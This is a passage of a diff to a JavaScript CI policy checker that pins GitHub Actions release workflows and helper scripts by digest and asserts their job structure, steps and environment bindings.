? { satisfiable: true, reason: "" } + : { satisfiable: false, reason: "no caller dispatch satisfies the condition" }; +} + +function requireNoCalibrationReferences( + violations, + file, + workflow, + allowedSteps = [], +) { + const inspected = structuredClone(workflow); + for (const [jobName, job] of Object.entries(object(inspected.jobs))) { + if (!Array.isArray(job.steps)) continue; + job.steps = job.steps.filter( + step => !allowedSteps.some( + ([allowedJob, allowedName]) => + allowedJob === jobName && allowedName === object(step).name, + ), + ); + } add( violations, - !JSON.stringify(workflow).toLowerCase().includes("calibration"), + !JSON.stringify(inspected).toLowerCase().includes("calibration"), `${file} standard release path must not reference calibration`, ); } @@ -143,10 +716,62 @@ function requireExactResolverContract(violations, file, job, expectedDigest) { ); } +// Fragment assertions are substring matches, so they prove a string is present and nothing about +// what it does: a guard body can be replaced with `true ''` and still satisfy +// them. Digesting the executable text pins the whole script, so any rewrite has to be reviewed +// rather than merely keep the quoted evidence around. Comments are stripped so prose can be +// improved without churning the constant. +function requireExactStepScript(violations, file, job, name, expectedDigest, subject) { + const run = executableRunText(stepRun(job, name)).replace(/\r\n/gu, "\n"); + const digest = createHash("sha256").update(run).digest("hex"); + add( + violations, + run.length > 0 && digest === expectedDigest, + `${file} step ${name} must match the reviewed ${subject} script exactly`, + ); +} + +// A line that begins with `#` is not necessarily a shell comment when the +// preceding line opened a quote. Hash raw text for scripts with multiline +// quoted programs so quote-context rewrites cannot disappear from the digest. +function requireExactRawStepScript(violations, file, job, name, expectedDigest, subject) { + const run = exactResolverRunText(stepRun(job, name)); + const digest = createHash("sha256").update(run).digest("hex"); + add( + violations, + run.length > 0 && digest === expectedDigest, + `${file} step ${name} must match the reviewed ${subject} script exactly`, + ); +} + function stepIndex(job, name) { return list(job?.steps).map(object).findIndex(step => step.name === name); } +function qualificationDriverHandoffIsSealed( + job, + verifierName, + engineName, + expectedIntermediateNames, +) { + const steps = list(job?.steps).map(object); + const verifierIndex = stepIndex(job, verifierName); + const engineIndex = stepIndex(job, engineName); + if (verifierIndex < 0 || engineIndex <= verifierIndex) return false; + const intermediate = steps.slice(verifierIndex + 1, engineIndex); + if ( + JSON.stringify(intermediate.map(step => step.name)) + !== JSON.stringify(expectedIntermediateNames) + ) { + return false; + } + return intermediate.every(step => + !scalarStrings(step).some(value => + value.includes("qualification-driver") + || value.includes("VERIFIED_QUALIFICATION_DRIVER") + || value.includes("codestory_embedding_qualification"))); +} + function cacheSteps(job) { return list(job?.steps) .map(object) @@ -167,6 +792,22 @@ function cachePathsExcludeExactOutputs(job) { cachePaths(step).every(cachePath => !forbidden.test(cachePath))); } +/// Routing a dispatched value through `env:` moves it out of the script's text, and out of reach +/// of a fragment pin that used to name it there: `--expected-sha "$INPUT_REF"` reads the same +/// whether `INPUT_REF` carries `inputs.ref` or the pull request head an attacker controls. The +/// fragment pin and this binding pin are two halves of one assertion -- the script names a +/// variable, and the variable names the value the step was reviewed with. +function requireStepEnv(violations, file, job, name, bindings) { + const env = object(namedStep(job, name)?.env); + for (const [key, expected] of Object.entries(bindings)) { + add( + violations, + env[key] === expected, + `${file} step ${name} must bind ${key} to ${expected}`, + ); + } +} + function requireStepUses(violations, file, job, name, expected) { add( violations, @@ -217,6 +858,107 @@ function requireCalibrationProducerBoundary( ); } +const qualificationDriverIdentityFields = [ + "schema_version", + "source.commit", + "source.tree", + "release_version", + "asset_target", + "archive.file", + "archive.bytes", + "archive.sha256", + "driver.file", + "driver.bytes", + "driver.sha256", +]; + +function expectedQualificationDriverContract() { + return { + producer_workflow: "packaged-platform-proof.yml", + producer_job: "build", + artifact_name_template: "codestory-qualification-driver-{asset_target}", + artifact_directory_template: ".", + identity_file: "qualification-driver-identity.json", + identity_schema_version: 1, + identity_fields: qualificationDriverIdentityFields, + build_invocations_per_platform: 1, + reuse_required: true, + public_release_asset: false, + }; +} + +export function qualificationDriverArtifactViolations( + source, + graph = loadReleaseClaimGraph(repositoryRoot), +) { + const violations = []; + const contract = object( + object(graph.workflow_policy).qualification, + ).driver_contract; + add( + violations, + JSON.stringify(contract) === JSON.stringify(expectedQualificationDriverContract()), + "release-claims.json must bind the private archive-qualified driver contract exactly", + ); + const normalized = String(source ?? "").replace(/\r\n/gu, "\n"); + add( + violations, + createHash("sha256").update(normalized).digest("hex") + === qualificationDriverArtifactDigest, + "qualification-driver-artifact.mjs must match the reviewed archive-bound producer and verifier contract", + ); + for (const fragment of [ + '"linux-x64", {', + 'archiveExtension: "tar.gz"', + 'binary: "codestory_embedding_qualification"', + 'rustTarget: "x86_64-unknown-linux-gnu"', + '"macos-arm64", {', + 'rustTarget: "aarch64-apple-darwin"', + '"windows-x64", {', + 'archiveExtension: "zip"', + 'binary: "codestory_embedding_qualification.exe"', + 'rustTarget: "x86_64-pc-windows-msvc"', + "metadata.isSymbolicLink()\n || !metadata.isFile()\n || metadata.nlink !== 1", + "function regularBuildOutput(file, label)", + "!Number.isSafeInteger(metadata.nlink)\n || metadata.nlink < 1", + "metadata.isSymbolicLink() || !metadata.isDirectory()", + 'fail("qualification driver helper arguments changed")', + "containedRelativePath(root, candidate, label)", + "rejectSymlinkedPath({", + "const rootMetadata = lstatSync(resolvedRoot)", + 'fail(`${label} must not traverse symbolic links`)', + "`codestory-cli-v${version}-${assetTarget}.${contract.archiveExtension}`", + 'targetDir,\n contract.rustTarget,\n "release",\n contract.binary', + 'const sourceMetadata = regularBuildOutput(', + 'fail("qualification driver artifact directory must start empty")', + "copyFileSync(source, staged)", + 'const stagedMetadata = regularFile(staged, "staged qualification driver")', + "archiveBytes: archiveMetadata.size", + "archiveDigest: sha256(archivePath)", + "archiveFile: expectedArchiveFile", + "identity.archive.file !== expectedArchiveFile", + "archiveMetadata.size !== identity.archive.bytes", + "sha256(archivePath) !== identity.archive.sha256", + "metadata.size !== identity.driver.bytes", + "sha256(driver) !== identity.driver.sha256", + '"qualification-driver-identity.json"', + 'fail("qualification driver artifact directory contains unexpected files")', + "chmodSync(driver, 0o755)", + 'archive: required(values, "--archive")', + 'trustedRoot: required(values, "--trusted-root")', + 'targetDir: required(values, "--target-dir")', + 'requireExactFlags(values, [...commonFlags, "--out-dir", "--target-dir"])', + 'requireExactFlags(values, [...commonFlags, "--artifact-dir"])', + ]) { + add( + violations, + normalized.includes(fragment), + `qualification-driver-artifact.mjs must retain ${fragment}`, + ); + } + return violations; +} + function requireJob(violations, file, workflow, name) { const found = object(workflow.jobs)[name]; add(violations, found !== undefined, `${file} must contain job ${name}`); @@ -229,7 +971,60 @@ const draftCachePaths = [ "target", ]; const sourceResolverContractDigest = "2fe869b675010f5db29259aff38d83456c01dbc9885989afbf7c92a2826791af"; -const platformResolverContractDigest = "12f5e887eb236625eec5e9718edd305ba625ab06f9a1467ed1146a8a80db0f74"; +const platformResolverContractDigest = "cb8eb03393f8e24bf9e083004be658c5d2f22fa118d3c43b8bc6b388f19ecddd"; +// check-workflow-policy.test.mjs runs this exact script against hostile dispatch values and proves +// it exits non-zero, so the digest stands for a rejection that was measured, not merely read. +const marketplaceGuardDigest = "6380c916a1b3566b4b9d6545b63fbc9c7db12b54fb328b5c89316daae0162d84"; +// This closeout is a small shell control-flow program. Substring checks can be +// satisfied by parking the accepted qualification branch in dead code while +// the live branch blocks on optional Linux hardware, so pin its reviewed +// executable text as well as its reader-facing invariants. +const packagedPlatformCloseoutDigest = + "ce7a7f5aa99f5fcbc037d4c1f06de5d841e4a4d114208820592a84c41c797b1a"; +// This workflow builds release archives on three operating systems and carries +// state between many shell steps through GITHUB_ENV and GITHUB_PATH. Pin its +// parsed executable structure so an unreviewed earlier step cannot replace an +// owner binary while leaving the locally digested finalizer unchanged. +const packagedPlatformWorkflowDigest = + "3767898b5225ab53ffc7a0ebbfa7096c3fd833e33edacfe1d425fc00c2e53995"; +// The frozen-candidate coordinator and protected GPU workflows are small +// release-control programs, not loose collections of independently safe +// fragments. Pin their complete parsed structure so a required check cannot be +// made advisory, parked in dead code, or followed by a payload substitution +// while leaving the expected tokens in place. +const packagedPlatformCoordinatorWorkflowDigest = + "797fa9e2be359f83eacd45b78722829d1f277efd2e721de1c9bf8b590b73dc58"; +const releaseSourceProofSentinelDigest = + "91ee8bc1a6a055e9297e81747c37d167b123d0a2e5dc60d5c6e2bdcfbef9c351"; +const frozenCandidateQualityWorkflowDigest = + "92d0a7ab0e0df63dacd5cc3ef0b58500a6578036494c329aa35279048734f173"; +const macosMetalWorkflowDigest = + "55581330f6a035b84e1224dbd5469d812ab2fa444914157e22a39cccc64f4627"; +const windowsVulkanWorkflowDigest = + "c2272dbf4c550ba4a21372e772a87f6df3307f5f4f709b216473f85958157ffe"; +const linuxVulkanWorkflowDigest = + "b2efe3dec20a466cb798752c714f50e64e265856e80ffafc15b28ea2390367d3"; +// Linux owns its compiler server inside Docker, while macOS and Windows own one +// in the host shell. Pin both executable programs so a swallowed stop or a +// dead-code copy cannot satisfy the ownership fragments below. +const packagedSccacheIdentityDigest = + "f844b8a3b2e0f0013b43f4ec661c237fb090a01c49316d8c2b301ba01cac4342"; +const packagedLinuxBuildDigest = + "f101cc525f52f75686acbb1cf240412409f3f388793890993cefae9175685a6f"; +const packagedCompileClockStopDigest = + "ef9f7ee4636c3466830447e2ed8a10c2030ca3949bca082652d9262848d258a5"; +const packagedHostCompilerFinalizerDigest = + "b77d8bb12c2748bfe016ab65ccb2f4581356f3ccf1d666e747306caffd6c0c46"; +// The companion qualification driver is intentionally retained only inside +// the private Actions package artifact. This digest pins both sides of that +// contract: the producer may read Cargo's trusted hard-linked build output, +// but retains only a new singly linked copy bound to the exact candidate +// archive. The consumer rejects symlinks, retained hardlinks, extra files, +// identity drift, and byte drift before restoring execute permission. +// Any helper edit therefore requires policy and mutation-test review in the +// same PR. +const qualificationDriverArtifactDigest = + "efc5126e24162d52f9da8bac38c3414b3a7492fb17eed5ff19867fadad69623e"; const draftProofCommands = [ "cargo test --locked -p codestory-llama-sys --test native_staging", "cargo test --locked -p codestory-llama-sys --test model_staging", @@ -310,6 +1105,9 @@ const retrievalProducerTriggerPaths = [ "vendor/**/Cargo.toml", ".github/scripts/install-windows-vulkan-sdk.ps1", ".github/workflows/rust-ci.yml", + "scripts/lint-retrieval-generalization.mjs", + "scripts/lib/retrieval-generalization-lint.mjs", + "scripts/tests/lint-retrieval-generalization.test.mjs", ]; const windowsVulkanInstaller = ".github/scripts/install-windows-vulkan-sdk.ps1"; const windowsNativeGenerator = "Ninja"; @@ -541,6 +1339,7 @@ export function windowsManifestProofPolicyViolations(workflowValue) { const workflow = object(workflowValue); const triggers = object(workflow.on); const job = object(at(workflow, "jobs", "windows-manifest-missing")); + const linux = object(at(workflow, "jobs", "linux-contracts")); const steps = list(job.steps).map(object); add( @@ -548,6 +1347,44 @@ export function windowsManifestProofPolicyViolations(workflowValue) { hasExactKeys(workflow.jobs, ["linux-contracts", "windows-manifest-missing"]), "Windows manifest proof workflow must contain exactly linux-contracts and windows-manifest-missing jobs", ); + add( + violations, + hasExactKeys(linux.env, ["CODESTORY_TEST_EMBED_ALLOW_CPU"]) + && linux.env.CODESTORY_TEST_EMBED_ALLOW_CPU === "1", + "retrieval source tests must opt into the CPU test seam explicitly", + ); + const nodeSetup = list(linux.steps).map(object) + .find((step) => step.uses === "actions/setup-node@v5"); + add( + violations, + object(nodeSetup?.with)["node-version"] === "24" + && object(nodeSetup?.with)["package-manager-cache"] === false + && nodeSetup?.["continue-on-error"] === undefined, + "retrieval generalization producer must use blocking Node 24 without a package-manager cache", + ); + for (const [name, command] of [ + ["Generalization lint (production paths)", "node scripts/lint-retrieval-generalization.mjs"], + [ + "Generalization lint hostile matrix", + "node --test scripts/tests/lint-retrieval-generalization.test.mjs", + ], + ]) { + const step = namedStep(linux, name); + add( + violations, + sameStrings(nonCommentLines(step?.run), [command]) + && step?.["continue-on-error"] === undefined + && step?.if === undefined, + `retrieval generalization producer ${name} must run its exact blocking Node command`, + ); + } + add( + violations, + !scalarStrings(linux).some((value) => + value.includes("cargo test --locked -p codestory-runtime --test retrieval_generalization_guard") + ), + "retrieval generalization producer must not restore the serialized Rust subprocess wrapper", + ); add( violations, workflow.env === undefined, @@ -589,10 +1426,10 @@ export function windowsManifestProofPolicyViolations(workflowValue) { add(violations, job["timeout-minutes"] === 30, "Windows manifest proof timeout must remain 30 minutes"); add( violations, - hasExactKeys(job.env, ["CODESTORY_EMBED_ALLOW_CPU", "CMAKE_GENERATOR"]) - && job.env.CODESTORY_EMBED_ALLOW_CPU === "1" + hasExactKeys(job.env, ["CODESTORY_TEST_EMBED_ALLOW_CPU", "CMAKE_GENERATOR"]) + && job.env.CODESTORY_TEST_EMBED_ALLOW_CPU === "1" && job.env.CMAKE_GENERATOR === windowsNativeGenerator, - "Windows manifest proof must explicitly permit CPU runtime execution and use the Ninja native generator", + "Windows manifest proof source test must explicitly use the CPU test seam and Ninja native generator", ); add( violations, @@ -886,6 +1723,7 @@ export function draftSourcePolicyViolations(jobValue, retrievalJobValue) { } export const releaseEvidenceWorkflowRef = "./.github/workflows/release-candidate-evidence.yml"; +export const frozenCandidateQualityWorkflowRef = "./.github/workflows/frozen-candidate-quality.yml"; export function macosCliDistributionViolations(assessmentStep, executionStep, quarantinedPath) { const violations = []; @@ -1250,6 +2088,9 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { "scripts/install-codestory.ps1", "scripts/prepare-embedded-model.mjs", "scripts/tests/prepare-embedded-model.test.mjs", + "scripts/prove-plugin-pinned-provision.mjs", + "scripts/lib/wait-for-managed-runtime.mjs", + "scripts/tests/prove-plugin-pinned-provision.test.mjs", "crates/codestory-llama-sys/model-contract.json", "crates/codestory-llama-sys/build.rs", "crates/codestory-llama-sys/model_staging.rs", @@ -1272,6 +2113,11 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { ]); requireStepRun(violations, pluginFile, job, "Check plugin static wiring", ["node --test plugins/codestory/tests/plugin-static.test.mjs"]); requireStepRun(violations, pluginFile, job, "Check embedded model preparation", ["node --test scripts/tests/prepare-embedded-model.test.mjs"]); + // The pinned-provision proof is the plugin lane's tag gate. Its own suite has to run + // somewhere, or a gate that exits 0 without proving anything reads as a pass. + requireStepRun(violations, pluginFile, job, "Check the pinned provision proof", [ + "node --test scripts/tests/prove-plugin-pinned-provision.test.mjs", + ]); requireStepRun(violations, pluginFile, job, "Check release claim and evidence contracts", [ "scripts/tests/release-evidence-runner-contract.test.mjs", ]); @@ -1332,13 +2178,12 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { const sourceConcurrency = [ "source-proof-", promotion.proof_run_sha_expression, - "-${{ inputs.proof_key || inputs.pr_number || github.event.pull_request.number || github.ref }}-", - "${{ github.event.action == 'labeled' && github.event.label.name || 'dispatch' }}", + "-${{ inputs.proof_key || inputs.pr_number || github.ref }}", ].join(""); add( violations, - sameMembers(at(source, "on", "pull_request", "types"), promotion.required_events), - `${sourceFile} pull request trigger must be label-only`, + trigger(source, "pull_request") === undefined, + `${sourceFile} support PR labels must not trigger broad source proof`, ); add( violations, @@ -1355,8 +2200,8 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { const resolve = requireJob(violations, sourceFile, source, "resolve"); add( violations, - resolve.if === "github.event_name != 'pull_request' || (github.event.action == 'labeled' && github.event.label.name == 'review-accepted')", - `${sourceFile} resolve job must execute dispatch/call runs and only review-accepted labeled PR runs`, + resolve.if === undefined, + `${sourceFile} resolve job must execute only explicit dispatch and reusable calls`, ); requireStepRun(violations, sourceFile, resolve, "Resolve trusted exact head", [ 'test "$EVENT_HEAD_REPO" = "$GITHUB_REPOSITORY"', @@ -1368,52 +2213,231 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { "--ref $head_ref", ]); requireExactResolverContract(violations, sourceFile, resolve, sourceResolverContractDigest); + requireStepRun(violations, sourceFile, resolve, "Reuse a completed gate for this exact head", [ + '.path == ".github/workflows/source-proof.yml"', + '.event == "workflow_dispatch" and .conclusion == "success"', + '.name == "full-source-gate" and .conclusion == "success"', + 'artifact_name="release-cell-prepublish-source-attempt-$run_attempt"', + ".expired == false", + 'test "$artifact_count" = 1 || continue', + ]); + requireStepRun(violations, sourceFile, resolve, "Require executable release freeze", [ + "repos/$GITHUB_REPOSITORY/git/commits/$HEAD_SHA", + "release-freeze-barrier.mjs", + "verify-status", + '--receipt-digest "$FREEZE_RECEIPT_DIGEST"', + ]); const full = requireJob(violations, sourceFile, source, "full-source-gate"); add(violations, sameMembers(needs(full), ["resolve"]), `${sourceFile} full source gate must need resolve`); add( violations, - object(source.env).SCCACHE_VERSION === sccacheVersion - && object(source.env).SCCACHE_CACHE_SIZE === sccacheCacheSize - && object(source.env).CARGO_DEPENDENCY_CACHE_MAX_BYTES === "1073741824", - `${sourceFile} must pin bounded compiler and dependency caches`, + full.if === "${{ !inputs.acceptance_only && needs.resolve.outputs.reuse != 'true' }}", + `${sourceFile} full source gate may skip only a completed exact-head proof`, + ); + const generalization = requireJob( + violations, + sourceFile, + source, + "retrieval-generalization", ); - const sccacheSetup = namedStep(full, "Install pinned sccache"); add( violations, - sccacheSetup?.uses === sccacheAction - && object(sccacheSetup?.with).version === "${{ env.SCCACHE_VERSION }}", - `${sourceFile} must install the pinned sccache action and binary`, + hasExactKeys(generalization, [ + "name", + "needs", + "if", + "runs-on", + "timeout-minutes", + "steps", + ]), + `${sourceFile} retrieval generalization job must keep its exact blocking shape`, ); - requireStepRun(violations, sourceFile, full, "Configure bounded compiler cache", [ - "CARGO_HOME=$RUNNER_TEMP/codestory-source-cargo", - "SCCACHE_DIR=$RUNNER_TEMP/codestory-source-sccache", - "SCCACHE_CACHE_SIZE=$SCCACHE_CACHE_SIZE", - "RUSTC_WRAPPER=sccache", - "CARGO_INCREMENTAL=0", - "CMAKE_C_COMPILER_LAUNCHER=sccache", - "CMAKE_CXX_COMPILER_LAUNCHER=sccache", - ]); - const identity = namedStep(full, "Capture reusable build cache contract"); - const identityRun = executableRunText(String(identity?.run ?? "")); add( violations, - identity?.id === "build-cache" - && identity?.shell === "bash" - && identityRun.includes(`--namespace ${promotion.source_cache_namespace}`) - && identityRun.includes('--exact-sha "$EXACT_SHA"') - && identityRun.includes('--os "$RUNNER_OS"') - && identityRun.includes('--target "$target"') - && identityRun.includes('--rust-version "$rust_version"') - && identityRun.includes("--features workspace-test-default-and-clippy-all-targets-all-features") - && identityRun.includes('--native-toolchain "$native_toolchain"') - && identityRun.includes("--generator unix-makefiles") - && identityRun.includes('--cmake-version "$cmake_version"') - && identityRun.includes('--ninja-version "$ninja_version"') - && identityRun.includes("--lock-file Cargo.lock") - && identityRun.includes("--cargo-config .cargo/config.toml") - && identityRun.includes("--sccache-version \"$SCCACHE_VERSION\"") - && identityRun.includes(".cargo/llama-dynamic-backends.cmake") - && identityRun.includes("git ls-files '*Cargo.toml'") + generalization.name === "retrieval-generalization" + && sameMembers(needs(generalization), ["resolve"]) + && generalization.if + === "${{ !inputs.acceptance_only && needs.resolve.outputs.reuse != 'true' }}" + && generalization["runs-on"] === "ubuntu-latest" + && generalization["timeout-minutes"] === 5 + && generalization["continue-on-error"] === undefined, + `${sourceFile} retrieval generalization job must run in parallel on the resolved exact head`, + ); + const generalizationSteps = list(generalization.steps).map(object); + add( + violations, + generalizationSteps.length === 4, + `${sourceFile} retrieval generalization job must contain exactly checkout, Node, smoke, and matrix steps`, + ); + const generalizationCheckout = generalizationSteps[0]; + add( + violations, + generalizationCheckout?.uses === "actions/checkout@v5" + && hasExactKeys(generalizationCheckout, ["uses", "with"]) + && object(generalizationCheckout?.with).ref === "${{ needs.resolve.outputs.ref }}" + && generalizationCheckout?.["continue-on-error"] === undefined, + `${sourceFile} retrieval generalization must check out the resolved exact ref`, + ); + const generalizationNode = generalizationSteps[1]; + add( + violations, + generalizationNode?.uses === "actions/setup-node@v5" + && hasExactKeys(generalizationNode, ["uses", "with"]) + && object(generalizationNode?.with)["node-version"] === "24" + && object(generalizationNode?.with)["package-manager-cache"] === false + && generalizationNode?.["continue-on-error"] === undefined, + `${sourceFile} retrieval generalization must use blocking Node 24 without a package-manager cache`, + ); + for (const [name, command] of [ + ["Generalization lint (production paths)", "node scripts/lint-retrieval-generalization.mjs"], + [ + "Generalization lint hostile matrix", + "node --test scripts/tests/lint-retrieval-generalization.test.mjs", + ], + ]) { + const step = namedStep(generalization, name); + add( + violations, + sameStrings(nonCommentLines(step?.run), [command]) + && hasExactKeys(step, ["name", "run"]) + && step?.["continue-on-error"] === undefined, + `${sourceFile} retrieval generalization ${name} must run its exact blocking Node command`, + ); + } + const windowsNative = requireJob( + violations, + sourceFile, + source, + "windows-native-contracts", + ); + add( + violations, + hasExactKeys(windowsNative, [ + "name", + "needs", + "if", + "runs-on", + "timeout-minutes", + "env", + "steps", + ]) + && windowsNative.name === "windows-native-contracts" + && sameMembers(needs(windowsNative), ["resolve"]) + && windowsNative.if + === "${{ !inputs.acceptance_only && needs.resolve.outputs.reuse != 'true' }}" + && windowsNative["runs-on"] === "windows-latest" + && windowsNative["timeout-minutes"] === 15 + && object(windowsNative.env).CMAKE_GENERATOR === "Ninja" + && windowsNative["continue-on-error"] === undefined, + `${sourceFile} Windows native source contracts must run in parallel on the resolved exact head`, + ); + const windowsNativeSteps = list(windowsNative.steps).map(object); + add( + violations, + windowsNativeSteps.length === 6 + && windowsNativeSteps[0]?.uses === "actions/checkout@v5" + && object(windowsNativeSteps[0]?.with).ref === "${{ needs.resolve.outputs.ref }}" + && windowsNativeSteps.every(step => step?.["continue-on-error"] === undefined), + `${sourceFile} Windows native source contracts must keep the exact blocking six-step shape`, + ); + requireStepRun(violations, sourceFile, windowsNative, "Install Rust stable", [ + "rustup toolchain install stable --profile minimal", + "rustup default stable", + ]); + requireStepRun( + violations, + sourceFile, + windowsNative, + "Configure short Windows Cargo target", + [ + '$workspaceTarget = Join-Path $env:GITHUB_WORKSPACE "target"', + '$shortTarget = Join-Path $runnerRoot "t"', + "New-Item -ItemType Junction -Path $shortTarget -Target $workspaceTarget", + '"CARGO_TARGET_DIR=$shortTarget"', + ], + ); + requireStepRun( + violations, + sourceFile, + windowsNative, + "Prepare checksum-pinned embedded model", + ["node scripts/prepare-embedded-model.mjs"], + ); + requireStepRun( + violations, + sourceFile, + windowsNative, + "Install checksum-pinned Windows Vulkan SDK", + [".github/scripts/install-windows-vulkan-sdk.ps1"], + ); + requireStepRun( + violations, + sourceFile, + windowsNative, + "Prove Windows path and native-staging source contracts", + [ + "cargo test --release --locked", + "-p codestory-workspace --test windows_path_identity", + "-p codestory-llama-sys --test native_staging", + "Windows native source contracts failed", + "Windows path and native-staging source contracts:", + ], + ); + const windowsNativeRun = shellLiteralNormalizedText(stepRun( + windowsNative, + "Prove Windows path and native-staging source contracts", + )); + add( + violations, + shellInvocationsContaining(windowsNativeRun, "cargo test").length === 1 + && jobShellInvocationsContaining(windowsNative, "cargo build").length === 0 + && jobShellInvocationsContaining(windowsNative, "cargo check").length === 0, + `${sourceFile} Windows path and native-staging contracts must share one source-only Cargo invocation`, + ); + add( + violations, + object(source.env).SCCACHE_VERSION === sccacheVersion + && object(source.env).SCCACHE_CACHE_SIZE === sccacheCacheSize + && object(source.env).CARGO_DEPENDENCY_CACHE_MAX_BYTES === "1073741824", + `${sourceFile} must pin bounded compiler and dependency caches`, + ); + const sccacheSetup = namedStep(full, "Install pinned sccache"); + add( + violations, + sccacheSetup?.uses === sccacheAction + && object(sccacheSetup?.with).version === "${{ env.SCCACHE_VERSION }}", + `${sourceFile} must install the pinned sccache action and binary`, + ); + requireStepRun(violations, sourceFile, full, "Configure bounded compiler cache", [ + "CARGO_HOME=$RUNNER_TEMP/codestory-source-cargo", + "SCCACHE_DIR=$RUNNER_TEMP/codestory-source-sccache", + "SCCACHE_CACHE_SIZE=$SCCACHE_CACHE_SIZE", + "RUSTC_WRAPPER=sccache", + "CARGO_INCREMENTAL=0", + "CMAKE_C_COMPILER_LAUNCHER=sccache", + "CMAKE_CXX_COMPILER_LAUNCHER=sccache", + ]); + const identity = namedStep(full, "Capture reusable build cache contract"); + const identityRun = executableRunText(String(identity?.run ?? "")); + add( + violations, + identity?.id === "build-cache" + && identity?.shell === "bash" + && identityRun.includes(`--namespace ${promotion.source_cache_namespace}`) + && identityRun.includes('--exact-sha "$EXACT_SHA"') + && identityRun.includes('--os "$RUNNER_OS"') + && identityRun.includes('--target "$target"') + && identityRun.includes('--rust-version "$rust_version"') + && identityRun.includes("--features workspace-test-default-and-clippy-all-targets-all-features") + && identityRun.includes('--native-toolchain "$native_toolchain"') + && identityRun.includes("--generator unix-makefiles") + && identityRun.includes('--cmake-version "$cmake_version"') + && identityRun.includes('--ninja-version "$ninja_version"') + && identityRun.includes("--lock-file Cargo.lock") + && identityRun.includes("--cargo-config .cargo/config.toml") + && identityRun.includes("--sccache-version \"$SCCACHE_VERSION\"") + && identityRun.includes(".cargo/llama-dynamic-backends.cmake") + && identityRun.includes("git ls-files '*Cargo.toml'") && identityRun.includes("model-contract.json") && identityRun.includes("--identity cargo_incremental=0"), `${sourceFile} must compute one reusable compiler compatibility contract`, @@ -1550,20 +2574,108 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { "codestory-release-cell-manifest.mjs produce", "--cell-id source_behavior", "--producer-job full-source-gate", + '--expected-sha "$RESOLVED_REF"', ]); + requireStepEnv(violations, sourceFile, full, "Emit authenticated source release cell", { + RESOLVED_REF: "${{ needs.resolve.outputs.ref }}", + }); const sourceCellUpload = namedStep(full, "Upload authenticated source release cell"); add( violations, sourceCellUpload?.uses === "actions/upload-artifact@v7.0.1" - && String(sourceCellUpload?.if ?? "").includes("success()") - && String(sourceCellUpload?.if ?? "").includes("inputs.emit_release_cells"), - `${sourceFile} source release cell must be a success-only retained artifact`, + && sourceCellUpload?.if === "success()" + && !scalarStrings(source).some(value => value.includes("emit_release_cells")), + `${sourceFile} source release cell must be an unconditional success-only retained artifact`, + ); + } +} + +// Both release lanes point the catalog at what they just published, and both do it after the tag +// and the GitHub release already exist. Failing either lane on a credential or a rejected push +// would turn a recoverable delivery gap into an unrecoverable one, so publication is delivery: the +// job absorbs its own failure. That is only honest if the run then SAYS which state it ended in, +// which is what these rules force. Every conjunct below is load-bearing; dropping any one of them +// lets a run that never touched the catalog report that it did. +function catalogDeliveryOutcomeViolations(file, job, delivery) { + const violations = []; + const tokenStep = namedStep(job, "Mint a scoped marketplace token"); + add( + violations, + tokenStep?.["continue-on-error"] === true, + `${file} marketplace token failure must not fail an already-published release`, + ); + const catalogPush = namedStep(job, "Point the catalog at the published release"); + add( + violations, + catalogPush?.["continue-on-error"] === true + && catalogPush?.if === "steps.token.outcome == 'success'", + `${file} catalog push must run only with a minted token and must not fail the release`, + ); + // The step that mints `catalog_published` reads THIS step's outcome, so a push step that does + // not push would let a run claim a catalog update it never attempted. Turning the gate into + // delivery replaced the rule that checked this body; it belongs to both lanes, so it lives + // here rather than in either lane's own rules. + requireStepRun(violations, file, job, "Point the catalog at the published release", [ + "publish-marketplace-catalog.mjs", + '--commit "$GITHUB_SHA"', + '--github-output "$GITHUB_OUTPUT"', + ]); + const deliveryOutcome = namedStep(job, "Record catalog delivery outcome"); + add( + violations, + deliveryOutcome?.if === "always()", + `${file} catalog delivery outcome must be recorded whatever the catalog push did`, + ); + add( + violations, + object(deliveryOutcome?.env).TOKEN_OUTCOME === "${{ steps.token.outcome }}" + && object(deliveryOutcome?.env).PUBLISH_OUTCOME === "${{ steps.publish.outcome }}" + && object(deliveryOutcome?.env).PUBLISHED_REVISION + === "${{ steps.publish.outputs.marketplace_revision }}", + `${file} catalog delivery outcome must read the real token, push, and revision results`, + ); + add( + violations, + object(deliveryOutcome?.env).RECOVERY_WORKFLOW === delivery.recovery_workflow, + `${file} deferred catalog delivery must name ${delivery.recovery_workflow} as the recovery path`, + ); + requireStepRun(violations, file, job, "Record catalog delivery outcome", [ + "catalog_published=false", + '[ "$TOKEN_OUTCOME" = "success" ]', + '[ "$PUBLISH_OUTCOME" = "success" ]', + `printf '%s' "$PUBLISHED_REVISION" | grep -Eq '^[0-9a-f]{40}$'`, + 'echo "catalog_published=$catalog_published" >> "$GITHUB_OUTPUT"', + 'echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT"', + "::warning::Catalog publication deferred", + "recover with $RECOVERY_WORKFLOW", + // The recovery workflow mints the SAME credential from the SAME environment, so it recovers + // a rejected push and not a missing credential. A run that defers because the credential is + // absent must say that, or the ledger records an instruction nobody can follow. + 'if [ "$TOKEN_OUTCOME" != "success" ]; then', + "provision the marketplace-publish credential", + ]); + add( + violations, + object(job.outputs).catalog_published === "${{ steps.delivery.outputs.catalog_published }}" + && object(job.outputs).marketplace_revision === "${{ steps.delivery.outputs.marketplace_revision }}", + `${file} marketplace publication must publish the recorded delivery state, not the raw push result`, + ); + // A retry would collapse distinguishable failures into one opaque one and could publish on a + // second attempt after the first was already recorded, so this job gets exactly one attempt. + for (const step of list(job.steps)) { + const run = executableRunText(String(object(step).run ?? "")); + add( + violations, + !/\b(?:until|while)\b|for\s+attempt|--retry\b/u.test(run), + `${file} marketplace publication step ${object(step).name ?? ""} must not retry a recorded delivery outcome`, ); } + return violations; } function validateReleaseCoordinator(workflows, violations, graph) { const releaseChain = graph.workflow_policy.release_chain; + const catalogDelivery = graph.workflow_policy.catalog_delivery; const releaseFile = "release.yml"; const release = workflows.get(releaseFile); if (!release) { @@ -1580,7 +2692,11 @@ function validateReleaseCoordinator(workflows, violations, graph) { JSON.stringify(releaseCallers) === JSON.stringify(["auto-release.yml"]), `${releaseFile} publication authority must have only the trusted auto-release.yml caller`, ); - add(violations, object(release.permissions).actions === "read", `${releaseFile} must read prior-run evidence`); + add( + violations, + object(release.permissions).actions === "write", + 